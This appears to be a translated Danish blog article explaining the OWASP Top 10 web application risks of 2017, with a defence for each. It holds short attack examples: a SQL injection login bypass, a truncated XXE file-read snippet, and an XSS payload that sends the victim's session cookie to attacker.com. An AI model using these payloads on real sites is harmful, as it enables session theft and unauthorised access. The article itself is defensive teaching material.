Top 10 almindelige webangreb: De første skridt til at beskytte dit websted Top 10 almindelige webangreb: De første skridt til at beskytte dit website

En almindelig statistik, der ofte deles af InfoSec-fagfolk, er “78 % af angrebene er mod applikationen”.

Der går ikke en uge uden at høre om endnu et massivt brud eller en sårbarhed, der påvirker millioner af brugere på tværs af alle brancher. Uanset om dette tal er korrekt, eller om det i virkeligheden kun er 74 % (eller mere sandsynligt nærmere 85 %), står én ting klart: Vores websteder er i fare, og hvis dit ikke er blevet angrebet endnu, er det blot et spørgsmål om tid og penge (og angriberens motivation).

Et interessant aspekt, som mange af disse angreb har til fælles, er, at de ikke er meget tekniske og kun kan opnås af avancerede hackergrupper, der sidder i NSA’s kælder. Den mest almindelige kilde til disse angreb er en gruppe, der er kendt som “script kiddies”, uuddannede unge mennesker, der blot downloader automatiserede værktøjskasser fra internettet og forsøger at knække et vilkårligt websted, der tilbyder let udnyttelige lavt hængende sårbarheder. Selv de mere erfarne cyberkriminelle begynder deres første forsøg med de samme toolkits (eller lidt mere avancerede versioner af dem).

Hvorfor skal vi bekymre os? Fordi det betyder, at de mest almindelige angreb og de sårbarheder, der oftest udnyttes, altid vil være den første og svageste kæde i vores forsvar.

Det må derfor også være det punkt, hvor vi koncentrerer vores første indsats for at styrke dette forsvar. Heldigvis er det også det nemmeste sted at teste og sikre i det mindste et minimalt sikkerhedsniveau.

Disse almindelige sårbarheder er blevet samlet i en “Top Ten”-liste af de venlige frivillige hos OWASP – Open Web Application Security Project, en verdensomspændende non-profit velgørenhedsorganisation, der fokuserer på at forbedre softwares sikkerhed.

Selv om denne Top Ten-liste ikke rigtig er en “sikkerhedstjekliste”, er det ofte det første sæt sårbarheder, som angribere vil forsøge at finde. Ligeledes findes der et væld af automatiserede værktøjer, der scanner dit websted i angribernes tjeneste, så de hurtigt kan opdage de kritiske fejl, der vil give dem adgang til dine værdier.

Her er OWASP’s Top 10 Application Security Risks, 2017-udgave:

1. Injection

En angriber kan være i stand til at manipulere din webapplikation til at ændre de kommandoer, der sendes til dens undersystemer, ved blot at sende misdannede anmodninger med inficerede nyttelast. Det mest kendte af disse angreb er SQL-injektion, hvor en bruger af dit websted kan få din applikation til at ændre dette:

select * from users where username=’AviD’ and password=’1234′
i dette:
select * from users where username=’Admin’

Dette giver angriberen mulighed for at logge ind i din applikation som administrator, uden at han eller hun kender adgangskoden. Andre anvendelser af dette angreb ville være at stjæle hemmeligheder (eller penge), ændre data eller endda slette alle spor af aktivitet.

Andre former omfatter LDAP-injektion, XPath-injektion, kommandoinjektion, SMTP-injektion – hver gang applikationen sammenkæder ikke-troværdige brugerinput til en kommando, der sendes til en fortolker. De unormale data kan narre fortolkeren til at udføre utilsigtede kommandoer eller få adgang til data uden den rette autorisation.

Disse angreb kan normalt ret nemt forhindres ved at følge nogle få principper:

• Validér alle ikke-pålidelige input med en white-list-tilgang, uanset kilde.
• Ansøg altid databasen med kun parametrerede forespørgsler og lagrede procedurer i stedet for at sammenkæde en strengforespørgsel.
• Endnu bedre, brug et ordentligt ORM-bibliotek (Object Relational Mapping) (såsom Hibernate, Entity Framework, ActiveRecord for at nævne nogle få, afhængigt af din platform).
• Begræns den potentielle skade af en vellykket udnyttelse ved at reducere applikationens databaseprivilegier.

2. Brudt autentificering

De fleste applikationer kræver, at deres brugere logger ind, før de kan bruge den, ofte med en kombination af brugernavn og adgangskode. Der er mange typer almindelige fejl i dette godkendelsessystem, som kan udnyttes på en række forskellige måder: ordbogsangreb, automatiseret brute force, credential stuffing, session hijacking og meget mere.

En angriber, som formår at gætte en gyldig adgangskode, vil kunne udgive sig for at være den pågældende bruger og udføre enhver handling, som deres offer ville være i stand til at udføre – uden at der kan skelnes mellem angriberen og offeret.

For at forhindre dette kræver det en tilgang i flere lag:

• Omskifter alle standardadgangskoder.
• Indfør stærke, tilfældige adgangskoder for alle brugere: mindst 12 tilfældige tegn uden begrænsninger, helst gemt i en adgangskodeadministrator, eller alternativt en adgangsfrase med mindst 5 tilfældige ord.
• Begræns login-forsøg ved at låse brugerkontoen i en periode efter et vist antal forkerte adgangskoder.
• Brug en sikker platformssessionsmanager, som tilfældigt genererer lange sessionsidentifikatorer og implementerer en sikker sessionslivscyklus.
• Beskyt adgangskoder med en kryptografisk “password hash”-algoritme, f.eks. Bcrypt, scrypt eller Argon2.

Og overvej også at implementere flerfaktor-godkendelse for at afbøde adgangskodebaserede angreb, og lad ikke en angriber omgå din adgangskode ved at kende navnet på din kat på siden “Glemt adgangskode”. Der er et par yderligere detaljer, der kan være relevante, afhængigt af din specifikke arkitektur og kontekst.

3. Eksponering af følsomme data

Sekrete data skal normalt beskyttes med kryptering og andre kryptografiske algoritmer. Dette implementeres dog alt for ofte, hvis overhovedet, på en ufuldstændig måde, hvilket giver angribere mulighed for at få fat i følsomme oplysninger, som de ikke burde kunne få adgang til, herunder adgangskoder, kreditkort, personlige oplysninger (PII) og andre forretningskritiske data.

Nogle almindelige fejl omfatter ikke at kryptere data; at skabe et brugerdefineret krypteringsskema i stedet for standardalgoritmer og -protokoller; at bruge svage nøgler; at eksponere krypteringsnøgler; og ikke at implementere protokoller korrekt, f.eks.f.eks. ikke at validere et TLS-certifikat.

Anvendelse af korrekte kryptografiske kontroller (f.eks. AES-kryptering for lagrede data og TLS med HSTS aktiveret for trafik) med de korrekte parametre bør i vid udstrækning beskytte dine følsomme data både i hvile og i transit.

4. XML External Entities (XXE)

Ofte skal applikationer modtage og behandle XML-dokumenter fra brugere. Gamle eller dårligt konfigurerede XML-parsere kan aktivere en XML-funktion, der kaldes eksterne entitetsreferencer i XML-dokumenter, som, når de evalueres, indlejrer indholdet af en anden fil. Angribere kan misbruge dette til at læse fortrolige data, få adgang til interne systemer og endda lukke programmet ned i et DoS-angreb (Denial of Service).

Et XML-dokument, der indeholder dette:

]>&xxe;

, vil f.eks. inkludere indholdet af adgangskodefilen i XML-dokumentet.

Dette kan forhindres ved simpelthen at deaktivere DTD- og External entity-evaluering i parseren eller ved at opgradere til et moderne parserbibliotek, der ikke er sårbart.

5. Broken Access Control

De fleste webapplikationer begrænser, hvad brugerne kan se eller gøre, hvad enten det drejer sig om adgang til en anden brugers personlige data eller et begrænset område.

De adgangskontrolmekanismer, der håndhæver disse begrænsninger, er imidlertid normalt skræddersyede implementeringer og ofte dybt fejlbehæftede. Angribere kan omgå disse kontroller eller misbruge dem til at få adgang til uautoriseret funktionalitet eller data, f.eks. adgang til andre brugeres konti, visning af følsomme filer, ændring af andre brugeres data, udførelse af administrative handlinger m.m.

Fiksering og forebyggelse af fejl i adgangskontrollen kræver et systemisk synspunkt. Det er nødvendigt med en fuldstændig og dybtgående gennemgang af alle applikationens funktioner, systemkrav, brugerroller og andre begrænsninger. Der findes forskellige fælles modeller, der kan anvendes, afhængigt af kravene. De mest almindelige omfatter rollebaseret adgangskontrol (RBAC), diskretionær adgangskontrol (DAC) og integritetsbaseret eller obligatorisk adgangskontrol (MAC).

Andre mere nicheprægede modeller kan være baseret på attributter (ABAC), politik (PBAC), kontekst (CBAC) og klassifikation (der findes flere modeller, især i DoD), samt forskellige andre tilpassede ordninger. Det er vigtigt at udforme adgangskontrolmodellen godt, således at den kan anvendes ensartet og administreres effektivt. Der bør tages udgangspunkt i princippet om mindste privilegier, og der bør kun gives tilladelse, hvor det er nødvendigt.

Dertil kommer, at mange systemer skal overveje at anvende kontrol med adgangen til brugernes personlige data ud fra et privacy-perspektiv. Det bliver endnu vigtigere at bevare brugernes privatliv på passende vis og forhindre adgang uden samtykke, især i lyset af EU’s GDPR-opdatering.

6. Sikkerhedsfejlkonfiguration

Servere og applikationer har mange bevægelige dele, som alle skal være konfigureret korrekt. Dette gælder på alle niveauer i applikationsstacken, fra operativsystemet og netværksenhederne op til webserveren og selve applikationen.

Den standardiserede, ufuldstændige eller ad hoc-konfiguration kan efterlade filer ubeskyttede, standardadgangskoder aktiveret, cloud-tjenester åbnet og lække følsomme oplysninger via fejlmeddelelser eller HTTP-headere samt talrige andre usikre indstillinger, der kan give en angriber adgang til systemet eller data.

Der er naturligvis ikke en enkelt indstilling, der kan forhindre denne sårbarhed. Alle potentielt sårbare indstillinger bør gennemgås. Bemærk, at dette også omfatter rettidige systemopdateringer og patches!

7. Cross-Site Scripting (XSS)

Med XSS kan en angriber ændre de websider, som andre brugere ser i dit program, hvad enten det er for at stjæle oplysninger som f.eks. adgangskoder og kreditkort, sprede falske data, kapre brugersessioner, omdirigere til et andet websted eller udføre ondsindede scripts i offerets browser.

Denne sårbarhed kan opstå, når der indgår upålidelige data i en webside eller et svar uden korrekt validering eller sanitization. Angriberen kan indsende formularer med HTML- eller JavaScript-fragmenter, som vil blive indlejret direkte i siden og gengivet af browseren.

For eksempel denne serverkode:

response.write(“Good morning, ” + request.getParameter(“Name”)));

indlejrer brugerens Name-parameter direkte i outputtet. Dette er beregnet til at returnere følgende side, hvis brugerens navn er “John”:

Godmorgen, John

I stedet kan en angriber injicere en skadelig nyttelast:

Godmorgen, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

som vil blive udført af brugerens browser, sende deres session cookie til angriberen og gøre det muligt for angriberen at kapre sessionen.

Den vigtigste beskyttelse mod XSS-angreb er brugen af korrekt kodning. F.eks. vil HTML-kodning forvandle alle “specielle” tegn til HTML-entiteter, således at de vises på samme måde for brugeren, men ikke genkendes af parseren som gyldige HTML-tags. Der er imidlertid andre former for kodning, som bør anvendes afhængigt af den specifikke kontekst for dataoutputtet – f.eks. attributkodning, JavaScript-kodning, CSS-kodning osv. De fleste moderne webplatforme leverer denne funktionalitet automatisk eller som et funktionskald, og der findes masser af sikkerhedsbiblioteker til dem, der ikke gør det.

Det er desuden en god idé at implementere Content Security Policy (CSP), for at forhindre browseren i at gengive et XSS-angreb, der er kommet igennem. Konfigurer også dine session cookies (enten i din applikationskode eller i webserverkonfigurationen) til at indeholde HttpOnly-attributten, fra at forhindre succesfulde XSS-eksplosioner i at kapre dine brugeres sessioner.

8. Usikker deserialisering

Den nyeste tilføjelse til denne liste, Usikker deserialisering, kan muliggøre injektionsangreb og rettighedseskalering og endda føre til fjernudførelse af kode og overtagelse af serveren i visse situationer.

Mange applikationer har brug for at serialisere objekter og data til et format, der nemt kan overføres på tværs af kablet eller endda persisteres til en fil. Når et program gendanner disse objekter tilbage i hukommelsen ved at deserialisere de formaterede data, der er modtaget fra en bruger, kan det være muligt at manipulere med objektets hukommelse og endda få det til at udføre vilkårlige funktioner.

Den bedste måde at undgå usikker deserialisering på er ved slet ikke at deserialisere objekter fra ikke-troværdige data! Det er langt bedre at undgå native deserialiseringsformater helt og holdent, hvor det er muligt, og i stedet foretrække et dataformat som XML eller JSON.

Hvis det er nødvendigt at deserialisere fra det native format, kræver det at kunne gøre det sikkert, at du forstår de interne funktioner i dit programmeringssprog. Der er forskellige trin, der er nødvendige for at gøre det sikkert, afhængigt af hvilket sprog din applikation blev udviklet. I Java kan du f.eks. underklassere klassen java.io.ObjectInputStream. Derudover anbefales det, at du kun deserialiserer fra data, som din applikation har signeret digitalt.

9. Brug af komponenter med kendte sårbarheder

Moderne software er ikke længere bygget som en monolit – den er altid afhængig af et stadig større antal tredjepartskomponenter, frameworks og open source-biblioteker. Alle kendte sårbarheder, der findes i disse afhængigheder, kan også direkte påvirke din egen applikation! Nogle gange vil dette føre til andre sårbarheder på denne liste, såsom injektion, fjernudførelse af kode eller enhver anden fejl, der kan give angribere adgang til følsomme data eller handlinger.

For nylig fik netop et sådant problem skylden for det massive Equifax-brud, hvor de ikke installerede en patch til Apache Struts2. I stedet for forblev de på en version, som var kendt for at give fjernangribere mulighed for at udføre vilkårlige kommandoer.

Den bedste måde at undgå at falde i denne fælde er at gennemgå alle dine afhængigheder (herunder de transitive afhængigheder) og kontrollere, om nogen af dem er sårbare i øjeblikket. Implementer en proces for at sikre, at din applikation altid henter de seneste stabile versioner af alle afhængige biblioteker og komponenter efter at have testet dem. Faktisk findes der i øjeblikket adskillige kommercielle værktøjer, der kan spore dette for dit team, samt OWASP’s gratis Dependency-Check.

10. Utilstrækkelig logning & Overvågning

Selv om vi forsøger at gøre vores systemer immune over for alle mulige angreb, er vi realistisk set nødt til at acceptere, at nogle angreb vil komme igennem vores forsvarsværker. Et modstandsdygtigt forsvar bør dog omfatte flere lag. Dette omfatter muligheden for at opdage de angreb, der lykkedes på trods af alle vores anstrengelser, helst så hurtigt som muligt.

Dette kan stadig give en organisation mulighed for at komme sig efter angrebet eller endda minimere skaderne mest muligt. En lognings- og overvågningsmekanisme kombineret med en effektiv hændelsesreaktion kan forhindre angriberne i at dreje til yderligere interne ressourcer, indlejre sig permanent i organisationen og hindre dem i at stjæle eller ændre endnu flere data.

Implementer en fælles logningsmekanisme for hele applikationen. Det er bedst at bruge et eksisterende bibliotek, f.eks. log4J, men det er ikke et krav. Logmekanismen skal indsamle alle brugerinitierede handlinger, runtime-fejl og andre følsomme hændelser. Sørg for, at logdataene er godt beskyttet, og glem ikke at give administratorerne en søge- og gennemsynsgrænseflade!

Den gode nyhed er, at de fleste af disse problemer er relativt enkle og lette at forebygge, hvis du ved, hvad du skal kigge efter. Derfor, selv om dette ikke er en omfattende liste over alle de sikkerhedsproblemer, du bør være opmærksom på, er det helt sikkert et af de bedste steder at starte din ekspedition til et beskyttet websted!